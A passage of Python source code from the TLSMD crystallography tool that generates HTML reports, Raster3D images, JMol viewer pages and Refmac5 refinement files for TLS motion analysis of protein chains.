os.mkdir(report_dir)\n        os.chdir(report_dir)\n\n        self.write_cwd()\n        \n        ## change back to original directory\n        os.chdir(old_dir)\n\n    def init_colors(self):\n        \"\"\"Generated the self.colors dictionary of colors for the report,\n        and also writes thumbnail .png images of all the colors.\n        \"\"\"\n        thumbnail_dir = \"colors\"\n\n        ## make the thumbnail subdirectory\n        if not os.path.isdir(thumbnail_dir):\n            os.mkdir(thumbnail_dir)\n\n        ## clear the colors list\n        self.colors = []\n\n        ## skip the first two colors which are black/white\n        for i in xrange(len(Colors.COLORS)):\n            cname, rgbf = Colors.COLORS[i]\n            color = ColorInfo(i, cname, rgbf, thumbnail_dir)\n            self.colors.append(color)\n\n        ## assign a unique color to each tls group in a\n        ## chain spanning set of tls groups\n        for chain in self.tlsmd_analysis.iter_chains():\n            for cpartition in chain.partition_collection.iter_chain_partitions():\n\n                for tlsi, tls in enumerate(cpartition.iter_tls_segments()):\n                    if tls.method == \"TLS\":\n                        tls.set_color(self.get_tls_color(tlsi))\n                    else:\n                        tls.set_color(self.colors[0])\n\n    def get_tls_color(self, tls_index):\n        \"\"\"Returns the color dict description for a TLS segment of the\n        given index, starting at 0.\n        \"\"\"\n        ## skip the first two colors; they are black and white\n        i = tls_index + 2\n        return self.colors[i]\n\n    def write_cwd(self):\n        \"\"\"Write out all the files in the report.\n        \"\"\"\n        ## write a local copy of the Structure\n        FileIO.SaveStructure(fil = self.struct_path, struct = self.struct)\n\n        ## generate small .png images so  they can be placed in the\n        ## TLS group tables to identify the TLS group tabular data\n        ## with the generated visualization\n        self.init_colors()\n\n        ## a report page comparing the tls group segments of all\n        ## chains against each other\n        self.write_multi_chain_alignment()\n\n        ## write out all TLSGraph reports\n        for chain in self.tlsmd_analysis.iter_chains():\n            self.write_tls_chain_optimization(chain)\n\n        self.write_refinement_prep()\n \n        ## write out index page\n        self.write_index()\n\n    def write_index(self):\n        \"\"\"Writes the main index.html file of the report.\n        \"\"\"\n        fil = open(\"index.html\",\"w\")\n        fil.write(self.html_index())\n        fil.close()\n\n    def html_index(self):\n        \"\"\"Generate and returns the HTML string for the main index.html\n        file of the report.\n        \"\"\"\n        title = \"TLSMD Thermal Parameter Analysis of Structure %s\" % (self.struct_id)\n\n        l = [self.html_head(title),\n             self.html_title(title),\n\n             ## OPTIMIZATION PARAMETERS\n             self.html_globals(),\n             '<br>',\n        \n             ## MOTION ANALYSIS\n             '<center>',\n             '<h3>TLS Partitions and Motion Analysis of Individual Chains</h3>',\n             '</center>',\n             '<p style=\"font-size:small\">%s</p>' % (captions.MOTION_ANALYSIS_TEXT)]\n\n        for xdict in self.pages_chain_motion_analysis:\n            l.append('<p><a href=\"%s\">%s</a></p>' % (xdict[\"href\"], xdict[\"title\"]))\n\n        l +=['<br>',\n             ## MULTI CHAIN ALIGNMENT\n             '<center><h3>Multi-Chain TLS Group Alignment</h3></center>',\n             '<p style=\"font-size:small\">%s</p>' % (captions.MULTI_CHAIN_ALIGNMENT_TEXT)]\n\n        if self.page_multi_chain_alignment!=None:\n            l.append('<p><a href=\"%s\">%s</a></p>' % (self.page_multi_chain_alignment[\"href\"], self.page_multi_chain_alignment[\"title\"]))\n        else:\n            l.append('<p><u>Only one chain was analyized in this structure, so the multi-chain alignment analysis was not performed.</u></p>')\n\n        l +=['<br>',\n             ## REFINEMENT PREP\n             '<center><h3>Use Optimal TLS Groups with Refmac5 TLS Refinement</h3></center>',\n             '<p style=\"font-size:small\">%s</p>' % (captions.REFINEMENT_PREP_TEXT),\n             '<p><a href=\"%s\">%s</a></p>' % (self.page_refinement_prep[\"href\"], self.page_refinement_prep[\"title\"]),\n             self.html_foot()]\n        \n        return \"\".join(l)\n\n    def html_globals(self):\n        \"\"\"Output a HTML table displaying global TLSMD settings.\n        \"\"\"\n        if conf.globalconf.tls_model in [\"ISOT\", \"NLISOT\"]:\n            tls_model = \"Isotropic\"\n        elif conf.globalconf.tls_model in [\"ANISO\", \"NLANISO\"]:\n            tls_model = \"Anisotropic\"\n\n        if conf.globalconf.weight_model == \"UNIT\":\n            weight = 'Unit Weights (All Weights 1.0)'\n        elif conf.globalconf.weight_model == \"IUISO\":\n            weight = 'Input Structure Atoms Weighted by <var>1.0/B<sub>iso</sub></var>'\n\n        if conf.globalconf.include_atoms == \"MAINCHAIN\":\n            include_atoms = \"Main Chain Protein Atoms (N, CA, C, O, CB)\"\n        else:\n            include_atoms = \"All Protein Atoms\"\n\n        l = ['<center>',\n             '<table border=\"0\" cellpadding=\"3\" width=\"75%\" style=\"background-color:#eeeeee; font-size:small\">']\n\n        if self.struct.title:\n            l.append('<tr style=\"background-color:#dddddd\"><td>Title</td><td><b>%s</b></td></tr>' % (self.struct.title))\n                \n        if self.struct.header:\n            l.append('<tr style=\"background-color:#dddddd\"><td>Hedding Summary</td><td><b>%s</b></td></tr>' % (self.struct.header))\n\n        if self.struct.experimental_method:\n            l.append('<tr style=\"background-color:#dddddd\"><td>Experimental Method</td><td><b>%s</b></td></tr>' % (self.struct.experimental_method))\n\n             \n        l +=['<tr style=\"background-color:#dddddd\"><td>Temperature Factors</td><td><b>%s</b></td></tr>' % (tls_model),\n             '<tr style=\"background-color:#dddddd\"><td>Minimum TLS Segment Length</td><td><b>%s Residues</b></td></tr>' % (conf.globalconf.min_subsegment_size),\n             '<tr style=\"background-color:#dddddd\"><td>Atoms Analyzed</td><td><b>%s</b></td></tr>' % (conf.globalconf.include_atoms),\n             '</table>',\n             '</center>']\n\n        return \"\".join(l)\n    \n    def write_tls_chain_optimization(self, chain):\n        \"\"\"Writes the HTML report analysis of a single TLS graphed chain.\n        \"\"\"\n        path  = \"%s_CHAIN%s_ANALYSIS.html\" % (self.struct_id, chain.chain_id)\n        title = \"Chain %s TLS Analysis\" % (chain.chain_id)\n\n        self.pages_chain_motion_analysis.append(\n            {\"title\": title,\n             \"href\":  path })\n\n        fil = open(path, \"w\")\n        fil.write(self.html_tls_chain_optimization(chain))\n        fil.close()\n        \n    def html_tls_chain_optimization(self, chain):\n        \"\"\"Generates and returns the HTML string report analysis of a\n        single TLS graphed chain.\n        \"\"\"\n        title = \"Chain %s TLS Analysis of %s\" % (chain.chain_id, self.struct_id)\n        \n        l  = [self.html_head(title),\n              self.html_title(title),\n              '<center><a href=\"index.html\">Back to Index</a></center>',\n              '<br>' ]\n\n        ## if there were no valid chain configurations found\n        ## then write out a useful error message\n        if chain.partition_collection.num_chain_partitions() == 0:\n            l += ['<p>%s</p>' % (NO_VALID_CONFIGURATIONS),\n                  self.html_foot()]\n            return \"\".join(l)\n\n        ## TLS Segments vs. Residual\n        l += [self.html_chain_lsq_residual_plot(chain),\n              self.html_chain_alignment_plot(chain)]\n\n        ## add tables for all TLS group selections using 1 TLS group\n        ## up to max_ntls\n        for ntls in chain.partition_collection.iter_ntls():\n            tmp = self.html_tls_graph_path(chain, ntls)\n            if tmp != None:\n                l.append(tmp)\n\n            ## maybe this will help with the memory problems...\n            import gc\n            gc.collect()\n\n        l.append(self.html_foot())\n        return \"\".join(l)\n\n    def html_chain_lsq_residual_plot(self, chain):\n        \"\"\"Generates the Gnuplot/PNG image plot, and returns the HTML\n        fragment for its display in a web page.\n        \"\"\"\n        gp = gnuplots.LSQR_vs_TLS_Segments_Plot(chain)\n\n        title = 'Chain %s Optimization Residual' % (chain.chain_id)\n\n        l = ['<center>',\n             gp.html_markup(title, captions.LSQR_CAPTION),\n             '</center>']\n        \n        return \"\".join(l)\n\n    def html_chain_alignment_plot(self, chain):\n        \"\"\"generate a plot comparing all segmentations\n        \"\"\"\n        plot = sequence_plot.TLSSegmentAlignmentPlot()\n        \n        for ntls, cpartition in chain.partition_collection.iter_ntls_chain_partitions():\n            plot.add_tls_segmentation(cpartition)\n\n        ## create filename for plot PNG image file\n        plot_path = \"%s_CHAIN%s_ALIGN.png\" % (self.struct_id, chain.chain_id)\n        \n        plot.plot(plot_path)\n\n        l = ['<center><h3>TLS Partition Segment Alignment of Chain %s</h3></center>' % (chain.chain_id),\n             '<center>',\n             '<table border=\"0\" style=\"background-color:#dddddd\">',\n             '<tr><th># of TLS<br>Groups</th>',\n             '<th>Segment/Sequence Alignment</th></tr>',\n             '<tr>',\n        \n             '<td align=\"right\" valign=\"top\">',\n             '<p style=\"font-size:xx-small; margin-top:%dpx\">' % (plot.border_width)]\n\n        l.append('<ul style=\"list-style-type:none;margin:0px;padding:0px\">')\n\n        for ntls, cpartition in chain.partition_collection.iter_ntls_chain_partitions():\n            l.append('<li style=\"line-height:20px\"><a href=\"#NTLS%d\">%d</a><br>' % (ntls, ntls))\n\n        l.append('</ul>')\n\n        l +=['</td>',\n             '<td><img src=\"%s\" alt=\"Sequence Alignment Plot\"></td>' % (plot_path),\n             '</tr>',\n             '</table>',\n             '</center>',\n             '<p>%s</p>' % (captions.SEG_ALIGN_CAPTION)]\n        \n        return \"\".join(l)\n\n    def html_tls_graph_path(self, chain, ntls):\n        \"\"\"Generates the HTML table describing the path (set of tls groups)\n        for the given number of segments(h, or ntls)\n        \"\"\"\n        cpartition = chain.partition_collection.get_chain_partition(ntls)\n        if cpartition == None:\n            return None\n\n        ## write out PDB file\n        ##self.write_tls_pdb_file(chain, cpartition)\n\n        ## Raster3D Image\n        pml_path, png_path = self.raster3d_render_tls_graph_path(chain, cpartition)\n\n        ## JMol Viewer Page\n        jmol_path = self.jmol_html(chain, cpartition)\n        jmol_animate_path = self.jmol_animate_html(chain, cpartition)\n\n        ## tlsout file\n        tlsout_path = self.write_tlsout_file(chain, cpartition)\n\n        ## detailed analysis of all TLS groups\n        ntls_analysis = self.chain_ntls_analysis(chain, cpartition)\n\n        ## BMean Plot\n        ntls_analysis.bmean_plot.width = 640\n        ntls_analysis.bmean_plot.height = 250\n        ntls_analysis.bmean_plot.tls_group_titles = False\n        ntls_analysis.bmean_plot.output_png()\n\n        \n        l = ['<hr>',\n             \n             '<center style=\"page-break-before:always; font-size:small\">',\n             '<a name=\"NTLS%d\" style=\"font-size:large\">' % (ntls),\n             'Summary of Optimal TLS Group Partition using %d Groups' % (ntls),\n             '</a>',\n             '<br>',\n\n             ## navigation links\n             '<a href=\"%s\">Full TLS Partition Analysis</a>' % (ntls_analysis.url),\n\n             '&nbsp;&nbsp;&nbsp;&nbsp;',\n         \n             '<a href=\".\" onClick=\"window.open(&quot;%s&quot;,&quot;&quot;,&quot;' % (jmol_path),\n             'width=%d,height=%d,screenX=10,screenY=10,left=10,top=10&quot;);' % (settings.JMOL_SIZE, settings.JMOL_SIZE),\n             'return false;\">View with JMol</a>',\n\n             '&nbsp;&nbsp;&nbsp;&nbsp;',\n\n             '<a href=\".\" onClick=\"'\\\n             'window.open('\\\n             '&quot;%s&quot;,'\\\n             '&quot;&quot;,'\\\n             '&quot;width=%d,height=%d,screenX=10,'\\\n             'screenY=10,left=10,top=10&quot;);'\\\n             'return false;\">Animate Screw Displacement with JMol</a>' % (jmol_animate_path, settings.JMOL_SIZE, settings.JMOL_SIZE),\n\n             '<br>',\n             '<a href=\"%s\">Download TLSOUT File for TLSView</a>' % (tlsout_path),\n             '&nbsp;&nbsp;&nbsp;&nbsp;',\n             '<a href=\"%s\">Generate PDBIN/TLSIN Files for REFMAC5</a>' % (\"%s_REFINEMENT_PREP.html\" % (self.struct_id)),\n             \n             '</center>',\n\n             ## raytraced image\n             '<table style=\"background-color:white\" width=\"100%\" border=0>',\n             '<tr><th>',\n             '<center><img src=\"%s\" alt=\"structimage\"></center><br>' % (png_path),\n             '</th></tr>',\n\n             '<tr><th><center>',\n             ntls_analysis.bmean_plot.html_link(),\n             '</center></th></tr>',\n             '</table>',\n\n             ## now the table\n             html_tls_group_table(chain, cpartition),\n             \n             '<br clear=\"all\">']\n        \n        return \"\".join(l)\n\n    def raster3d_render_tls_graph_path(self, chain, cpartition):\n        \"\"\"Render TLS visualizations using Raster3D.\n        \"\"\"\n        basename = \"%s_CHAIN%s_NTLS%d\" % (self.struct_id, chain.chain_id, cpartition.num_tls_segments())\n        png_path = \"%s.png\"   % (basename)\n        console.stdoutln( \"Raster3D: rendering %s...\" % (basename))\n\n        struct_id = self.struct_id\n        driver = R3DDriver.Raster3DDriver()\n\n        ## XXX: Size hack: some structures have too many chains,\n        ## or are just too large\n        show_chain = {}\n        for chx in self.struct.iter_chains():\n            if chx.chain_id == chain.chain_id:\n                show_chain[chx.chain_id] = True\n                continue\n            \n            if chx.count_amino_acids() >= 100:\n                show_chain[chx.chain_id] = False\n                continue\n            \n            show_chain[chx.chain_id] = True\n        ## end size hack\n\n        ## got target chain?\n        if self.tlsmd_analysis.target_chain != None:\n            for atm in self.tlsmd_analysis.target_chain.iter_all_atoms():\n                atm.orig_position = atm.position\n                atm.position = chain.target_chain_sresult.transform(atm.position)\n\n        viewer = Viewer.GLViewer()\n        gl_struct = viewer.glv_add_struct(self.struct)\n\n        ## orient the structure with the super-spiffy orientation algorithm\n        ## which hilights the chain we are examining\n        ori = calc_orientation(self.struct, chain)\n        viewer.glo_update_properties(\n            R         = ori[\"R\"],\n            cor       = ori[\"centroid\"],\n            zoom      = ori[\"hzoom\"],\n            near      = ori[\"near\"],\n            far       = ori[\"far\"],\n            width     = ori[\"pwidth\"],\n            height    = ori[\"pheight\"],\n            bg_color  = \"White\")\n\n        ## turn off axes and unit cell visualization\n        gl_struct.glo_update_properties_path(\"gl_axes/visible\", False)\n        gl_struct.glo_update_properties_path(\"gl_unit_cell/visible\", False)\n\n        ## setup base structural visualization\n        for gl_chain in gl_struct.glo_iter_children():\n            if not isinstance(gl_chain, Viewer.GLChain):\n                continue\n\n            ## chain is hidden\n            if show_chain.get(gl_chain.chain.chain_id, False) == False:\n                gl_chain.properties.update(visible = False)\n                continue\n\n            if gl_chain.chain.chain_id == chain.chain_id:\n\n                if gl_chain.chain.has_amino_acids():\n                    gl_chain.properties.update(\n                        lines              = False,\n                        trace              = True,\n                        trace_radius       = 0.25,\n                        trace_color        = \"0.80,0.80,0.80\")\n                elif gl_chain.chain.has_nucleic_acids():\n                    gl_chain.properties.update(\n                        lines              = False,\n                        ball_stick         = True,\n                        ball_stick_radius  = 0.25,\n                        color              = \"0.80,0.80,0.80\")\n            else:\n                if gl_chain.chain.has_amino_acids():\n                    gl_chain.properties.update(\n                        lines              = False,\n                        trace              = True,\n                        trace_radius       = 0.25,\n                        trace_color        = \"0.80,0.80,0.80\")\n                elif gl_chain.chain.has_nucleic_acids():\n                    gl_chain.properties.update(\n                        hetatm_visible     = True,\n                        trace              = True,\n                        trace_radius       = 0.35,\n                        trace_color        = \"0.80,0.80,0.80\",\n                        ball_stick         = True,\n                        ball_stick_radius  = 0.25,\n                        color              = \"0.60,0.60,0.70\")\n                else:\n                    gl_chain.properties.update(\n                        visible           = True,\n                        ball_stick        = True,\n                        ball_stick_radius = 0.25,\n                        cpk               = False)\n\n        ## add the TLS group visualizations\n        has_amino_acids = cpartition.chain.has_amino_acids()\n        has_nucleic_acids = cpartition.chain.has_nucleic_acids()\n        \n        for tls in cpartition.iter_tls_segments():\n            if tls.method != \"TLS\":\n                continue\n\n            if self.tlsmd_analysis.target_chain is not None:\n                if tls.rmsd_pre_alignment <= 0.8:\n                    continue\n                if (tls.rmsd_pre_alignment - tls.sresult.rmsd) < 0.5:\n                    continue\n            \n            tls_name = \"TLS_%s\" % (tls.filename_label())\n            gl_tls_group = TLS.GLTLSGroup(\n                oatm_visible       = False,\n                side_chain_visible = False,\n                hetatm_visible     = True,\n                adp_prob           = settings.ADP_PROB,\n                L_axis_scale       = 2.0,\n                L_axis_radius      = 0.20,\n                both_phases        = True,\n                tls_group          = tls.tls_group,\n                tls_info           = tls.model_tls_info,\n                tls_name           = tls_name,\n                tls_color          = tls.color.name)\n\n            gl_struct.glo_add_child(gl_tls_group)\n            \n            if tls.superposition_vscrew != None:\n                gl_tls_group.properties.update(COR_vector = tls.superposition_vscrew)\n\n            ## set width of trace according to the group's translationral tensor trace\n            mtls_info = tls.model_tls_info\n            tiso = (mtls_info[\"Tr1_eigen_val\"] + mtls_info[\"Tr2_eigen_val\"] + mtls_info[\"Tr3_eigen_val\"]) / 3.0\n\n            ## too big usually for good visualization -- cheat and scale it down\n            radius = 0.30\n\n            if has_amino_acids:\n                gl_tls_group.gl_atom_list.properties.update(trace_radius = radius)\n\n            elif has_nucleic_acids:\n                gl_tls_group.gl_atom_list.properties.update(\n                    oatm_visible = True,\n                    side_chain_visible = True,\n                    trace = True,\n                    trace_radius = 0.25,\n                    ball_stick = True,\n                    ball_stick_radius = radius)\n\n            gl_tls_group.glo_update_properties(time = 0.25)\n\n        ## got target chain?\n        if self.tlsmd_analysis.target_chain is not None:\n            gl_chain = Viewer.GLChain(chain = self.tlsmd_analysis.target_chain)\n            gl_chain.properties.update(\n                    oatm_visible       = False,\n                    side_chain_visible = False,\n                    hetatm_visible     = True,\n                    lines              = False,\n                    ball_stick         = False,\n                    trace              = True,\n                    trace_radius       = 0.25,\n                    trace_color        = \"0.40,0.40,0.40\")\n            gl_struct.glo_add_child(gl_chain)\n            \n        driver.glr_set_render_png_path(png_path)\n        viewer.glv_render_one(driver)\n\n        ## got target chain?\n        if self.tlsmd_analysis.target_chain != None:\n            for atm in self.tlsmd_analysis.target_chain.iter_all_atoms():\n                atm.position = atm.orig_position\n                del atm.orig_position\n\n        return \"\", png_path\n\n    def write_tls_pdb_file(self, chain, cpartition):\n        \"\"\"Write out a PDB file with the TLS predicted anisotropic ADPs for\n        this segmentation.\n        \"\"\"\n        basename = \"%s_CHAIN%s_NTLS%d_UTLS\"  % (self.struct_id, chain.chain_id, cpartition.num_tls_segments())\n        pdb_path = \"%s.pdb\" % (basename)\n\n        ## temporarily set the atom temp_factor and U tensor to the Utls value\n        old_temp_factor = {}\n        old_U = {}\n        for tls in cpartition.iter_tls_segments():\n            for atm, Utls in tls.tls_group.iter_atm_Utls():\n                old_temp_factor[atm] = atm.temp_factor\n                old_U[atm] = atm.U\n\n                atm.temp_factor = Constants.U2B * (numpy.trace(Utls)/3.0)\n                atm.U = Utls\n\n        FileIO.SaveStructure(fil = pdb_path, struct = self.struct)\n\n        ## restore atom temp_factor and U\n        for atm, temp_factor in old_temp_factor.iteritems():\n            atm.temp_factor = temp_factor\n            atm.U = old_U[atm]\n\n    def write_tlsout_file(self, chain, cpartition):\n        \"\"\"Writes the TLSOUT file for the segmentation.\n        \"\"\"\n        basename = \"%s_CHAIN%s_NTLS%d\" % (self.struct_id, chain.chain_id, cpartition.num_tls_segments())\n        tlsout_path = \"%s.tlsout\" % (basename)\n\n        struct_id = self.struct_id\n        chain_id  = chain.chain_id\n\n        tls_file = TLS.TLSFile()\n        tls_file.set_file_format(TLS.TLSFileFormatTLSOUT())\n\n        for tls in cpartition.iter_tls_segments():\n            ## don't write out bypass edges\n            if tls.method != \"TLS\":\n                continue\n            \n            tls_desc = TLS.TLSGroupDesc()\n            tls_file.tls_desc_list.append(tls_desc)\n            tls_desc.set_tls_group(tls.tls_group)\n            for frag_id1, frag_id2 in tls.iter_segment_ranges():\n                tls_desc.add_range(chain_id, frag_id1, chain_id, frag_id2, \"ALL\")\n\n        tls_file.save(open(tlsout_path, \"w\"))\n\n        return tlsout_path\n\n    def chain_ntls_analysis(self, chain, cpartition):\n        \"\"\"Generate ntls optimization constraint report and free memory.\n        \"\"\"\n        report = ChainNTLSAnalysisReport(chain, cpartition)\n        return report\n\n    def jmol_html(self, chain, cpartition):\n        \"\"\"Writes out the HTML page which will display the\n        structure using the JMol Applet.\n        \"\"\"\n        jmol_path = \"%s_CHAIN%s_NTLS%d_JMOL.html\"  % (self.struct_id, chain.chain_id, cpartition.num_tls_segments())\n\n        ## create the JMol script using cartoons and consistant\n        ## coloring to represent the TLS groups\n        js = ['load %s;' % (self.struct_path),\n              'select *;',\n              'cpk off;',\n              'wireframe off;',\n              'select protein;',\n              'cartoon on;']\n\n        ## loop over TLS groups and color\n        for tls in cpartition.iter_tls_segments():\n            js.append('select %s;' % (tls.jmol_select()))\n            js.append('color [%d,%d,%d];' % (tls.color.rgbi))\n\n        ## select non-protein non-solvent and display\n        js +=['select not protein and not solvent;',\n              'color CPK;',\n              'wireframe on; wireframe 0.5;',\n              'spacefill 80%;',\n              'spacefill on;']\n        \n        ## write the HTML page to render the script in\n        l = ['<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">',\n             '<html>',\n             '<head>',\n             '<title>Chain %s using %d TLS Groups</title>' % (chain.chain_id, cpartition.num_tls_segments()),\n             '<script type=\"text/javascript\" src=\"%s/Jmol.js\">' % (settings.JMOL_DIR),\n             '</script>',\n             '</head>',\n             '<body>',\n             '<script type=\"text/javascript\">',\n             'jmolInitialize(\"%s\");' % (settings.JMOL_DIR),\n             'jmolSetAppletColor(\"white\");',\n             'jmolApplet(%d, \"%s\");' % (settings.JMOL_SIZE, \"\".join(js)),\n             '</script>',\n             '</body>',\n             '</html>']\n\n        open(jmol_path, \"w\").write(\"\".join(l))\n        return jmol_path\n\n    def jmol_animate_html(self, chain, cpartition):\n        \"\"\"Writes out the HTML page which will display the\n        structure using the JMol Applet.\n        \"\"\"\n        basename = \"%s_CHAIN%s_NTLS%d_ANIMATE\" % (self.struct_id, chain.chain_id, cpartition.num_tls_segments())\n\n        html_path = \"%s.html\" % (basename)\n        pdb_path  = \"%s.pdb\" % (basename)\n\n        ## generate animation PDB file\n\n        try:\n            console.stdoutln(\"TLSAnimate: creating animation PDB file...\")\n            tlsa = TLSAnimate(chain, cpartition)\n            tlsa.construct_animation(pdb_path)\n        except TLSAnimateFailure:\n            pass\n        \n        ## create the JMol script using cartoons and consistant\n        ## coloring to represent the TLS groups\n        js = ['load %s;' % (pdb_path),\n              'select *;',\n              'cpk off;',\n              'wireframe off;',\n              'select protein;',\n              'trace on;']\n\n        ## loop over TLS groups and color\n        for tls in cpartition.iter_tls_segments():\n            chain_ids = [tlsa.L1_chain.chain_id,\n                         tlsa.L2_chain.chain_id,\n                         tlsa.L3_chain.chain_id]\n\n            for chain_id in chain_ids:\n                js.append('select %s;' % (tls.jmol_select()))\n                js.append('color [%d,%d,%d];' % (tls.color.rgbi))\n\n        ## select non-protein non-solvent and display\n        js +=['select not protein and not solvent;',\n              'color CPK;',\n              'wireframe on;',\n              'wireframe 0.5;',\n              'spacefill 80%;',\n              'spacefill on;',\n              'anim fps 2;',\n              'anim mode loop 0 0;',\n              'anim on;']\n\n        ## write the HTML page to render the script in\n        l = ['<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">',\n             '<html>',\n             '<head>',\n             '<title>Chain %s using %d TLS Groups</title>' % (chain.chain_id, cpartition.num_tls_segments()),\n             '<script type=\"text/javascript\" src=\"%s/Jmol.js\">' % (settings.JMOL_DIR),\n             '</script>',\n             '</head>',\n             '<body>',\n             '<script type=\"text/javascript\">',\n             'jmolInitialize(\"%s\");' % (settings.JMOL_DIR),\n             'jmolSetAppletColor(\"white\");',\n             'jmolApplet(%d, \"%s\");' % (settings.JMOL_SIZE, \"\".join(js)),\n             '</script>',\n             '</body>',\n             '</html>']\n\n        ## manually free memory\n        tlsa = None\n        import gc\n        gc.collect()\n\n        open(html_path, \"w\").write(\"\".join(l))\n        return html_path\n\n    def write_multi_chain_alignment(self):\n        \"\"\"Write out the chain residue alignment page.\n        \"\"\"\n        ## only write out the comparison page if there is more than one\n        ## chain analyzed in the structure\n        if self.tlsmd_analysis.num_chains() < 2:\n            return\n        \n        path  = \"%s_CHAIN_COMP.html\" % (self.struct_id)\n        title = \"Multi-Chain Alignment Analysis of TLS Groups\"\n\n        self.page_multi_chain_alignment = {\n            \"title\": title,\n            \"href\":  path }\n\n        fil = open(path, \"w\")\n        fil.write(self.html_multi_chain_alignment())\n        fil.close()\n    \n    def html_multi_chain_alignment(self):\n        \"\"\"Write out all HTML/PDB/TLSIN files which compare\n        chains in the structure.\n        \"\"\"\n        title = self.page_multi_chain_alignment[\"title\"]\n\n        l = [ self.html_head(title),\n              self.html_title(title),\n\n              '<center>',\n              '<a href=\"index.html\">Back to Index</a>',\n              '</center>',\n              '<br>' ]\n\n        ## figure out the maximum number of ntls in all chains\n        max_ntls = 0\n        for chain in self.tlsmd_analysis.iter_chains():\n            max_ntls = max(chain.partition_collection.max_ntls(), max_ntls)\n\n        ## generate ntls number of plots and add them to the\n        ## HTML document\n        for ntls in xrange(1, max_ntls + 1):\n\n            ## create a 2-tuple list of (chain_id, cpartiton) for\n            ## each chain which a a TLSMD segmentation of h groups\n            seg_list = []\n            for chain in self.tlsmd_analysis.iter_chains():\n                cpartition = chain.partition_collection.get_chain_partition(ntls)\n                if cpartition != None:\n                    seg_list.append((chain.chain_id, cpartition))\n\n            ## generate the TLS segmentation alignment plot for all chains\n            plot = sequence_plot.TLSSegmentAlignmentPlot()\n            chain_id_list = []\n\n            for chain in self.tlsmd_analysis.iter_chains():\n                cpartition = chain.partition_collection.get_chain_partition(ntls)\n                if cpartition != None:\n                    chain_id_list.append(chain.chain_id)\n                    plot.add_tls_segmentation(cpartition)\n\n            basename  = \"%s_NTLS%d\"  % (self.struct_id, ntls)\n            plot_path = \"%s_ALIGN.png\" % (basename)\n            plot.plot(plot_path)\n\n            ## write HTML\n            l.append('<h3>Chains Alignment using %d TLS Groups</h3>' % (ntls))\n\n            ## plot table\n            l += ['<table border=\"1\">',\n                  '<tr><th>Chain</th><th>Chain Alignment</th></tr>',\n                  '<tr>',\n                  '<td align=\"center\">',\n                  '<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">' ]\n\n            for chain_id in chain_id_list:\n                l.append('<tr><td align=\"right\" valign=\"middle\" height=\"20\"><font size=\"-20\">%s</font></td></tr>' % (chain_id))\n\n            l += ['</table>'\n                  '</td>',\n                  '<td><img src=\"%s\" alt=\"Segmentation Plot\"></td>' % (plot_path),\n                  '</tr>',\n                  '</table>' ]\n\n        l.append(self.html_foot())\n        return \"\".join(l)\n\n    def write_refinement_prep(self):\n        \"\"\"Generate form to allow users to select the number of TLS groups\n        to use per chain.\n        \"\"\"\n        path  = \"%s_REFINEMENT_PREP.html\" % (self.struct_id)\n        title = \"Use Optimal TLS Groups with Refmac5 TLS Refinement\"\n \n        self.page_refinement_prep = {\n            \"title\": title,\n            \"href\" : path }\n\n        fil = open(path, \"w\")\n        fil.write(self.html_refinement_prep())\n        fil.close()\n\n    def html_refinement_prep(self):\n        title = self.page_refinement_prep[\"title\"]\n        plot = gnuplots.LSQR_vs_TLS_Segments_All_Chains_Plot(self.tlsmd_analysis)\n\n        l = [self.html_head(title),\n             self.html_title(title),\n             '<center><h3>',\n             'Step 1: Select the number of TLS groups for each chain',\n             '</h3></center>',\n             '<center>',\n             '<a href=\"index.html\">Back to Index</a>',\n             '</center>',\n             '<br>',\n             '<form enctype=\"multipart/form-data\" action=\"/tlsmd/refineprep.html\" method=\"post\">',\n             '<input type=\"hidden\" name=\"job_id\" value=\"%s\">' % (conf.globalconf.job_id),\n             '<p>%s</p>' % (captions.REFINEMENT_PREP_INFO),\n             '<center><table><tr><td>',\n             plot.html_link(),\n             '<br>',\n             '</td></tr><tr><td>',\n             '<table width=\"100%\" border=\"1\">',\n             '<tr><th>',\n             '<p>Select the Number of TLS Groups per Chain</p>',\n             '</th></tr>',\n             '<tr><td align=\"center\">',\n             '<table cellspacing=\"5\">' ]\n        \n        for chain in self.tlsmd_analysis.iter_chains():\n            l += ['<tr><td>',\n                  'Number of TLS Groups for Chain %s' % (chain.chain_id),\n                  '</td><td>',\n                  '<select name=\"NTLS_CHAIN%s\">' % (chain.chain_id) ]\n            for ntls in chain.partition_collection.iter_ntls():\n                l.append('<option value=\"%d\">%d</option>' % (ntls, ntls))\n            l += ['</select>',\n                  '</td></tr>' ]\n            \n        l += ['</table>',\n              '</td></tr>',\n              '<tr><td align=\"right\">',\n              '<input type=\"submit\" value=\"OK\">',\n              '</td></tr></table>',\n              '</td></tr></table></center>',\n              '</form>' ]\n        \n        l.append(self.html_foot())\n        return \"\".join(l)\n\n\nclass ChainNTLSAnalysisReport(Report):\n    \"\"\"Writes a HTML report detailing one given TLS segmentation of a chain.\n    \"\"\"\n    def __init__(self, chain, cpartition):\n        Report.__init__(self)\n\n        self.chain = chain\n        self.cpartition = cpartition\n\n        self.struct = chain.struct\n        self.struct_id = chain.struct.structure_id\n        self.chain_id = chain.chain_id\n        self.ntls = cpartition.num_tls_segments()\n\n        self.root  = \"..\"\n        self.dir   = \"%s_CHAIN%s_NTLS%d\"  % (self.struct_id, self.chain_id, self.ntls)\n        self.index = \"%s.html\" % (self.dir)\n        self.url   = \"%s/%s\" % (self.dir, self.index)\n\n        self.write_report()\n\n    def write_report(self):\n        if not os.path.isdir(self.dir):\n            os.mkdir(self.dir)\n        os.chdir(self.dir)\n\n        self.write_all_files()\n\n        os.chdir(self.root)\n\n    def write_all_files(self):\n        \"\"\"Writes analysis details of each TLS group.\n        \"\"\"\n        title = \"Chain %s Partitioned by %d TLS Groups\" % (self.chain_id, self.ntls)\n        path = \"%s_CHAIN%s_ANALYSIS.html\" % (self.struct_id, self.chain_id)\n\n\n        l = [self.html_head(title),\n             self.html_title(title),\n\n             '<center>',\n             '<a href=\"../index.html\">Back to Index</a>',\n             '&nbsp;&nbsp;&nbsp;&nbsp;',\n             '<a href=\"../%s\">Back to Chain %s Analysis</a>' % (path, self.chain_id),\n             '</center>',\n             \n             '<br>',\n\n             self.html_tls_group_table(),'<br>',\n             self.html_bmean(),'<br>',\n             self.tls_segment_recombination(),'<br>',\n             self.html_translation_analysis(),'<br>',\n             self.html_libration_analysis(),'<br>',\n             self.html_ca_differance(),'<br>',\n             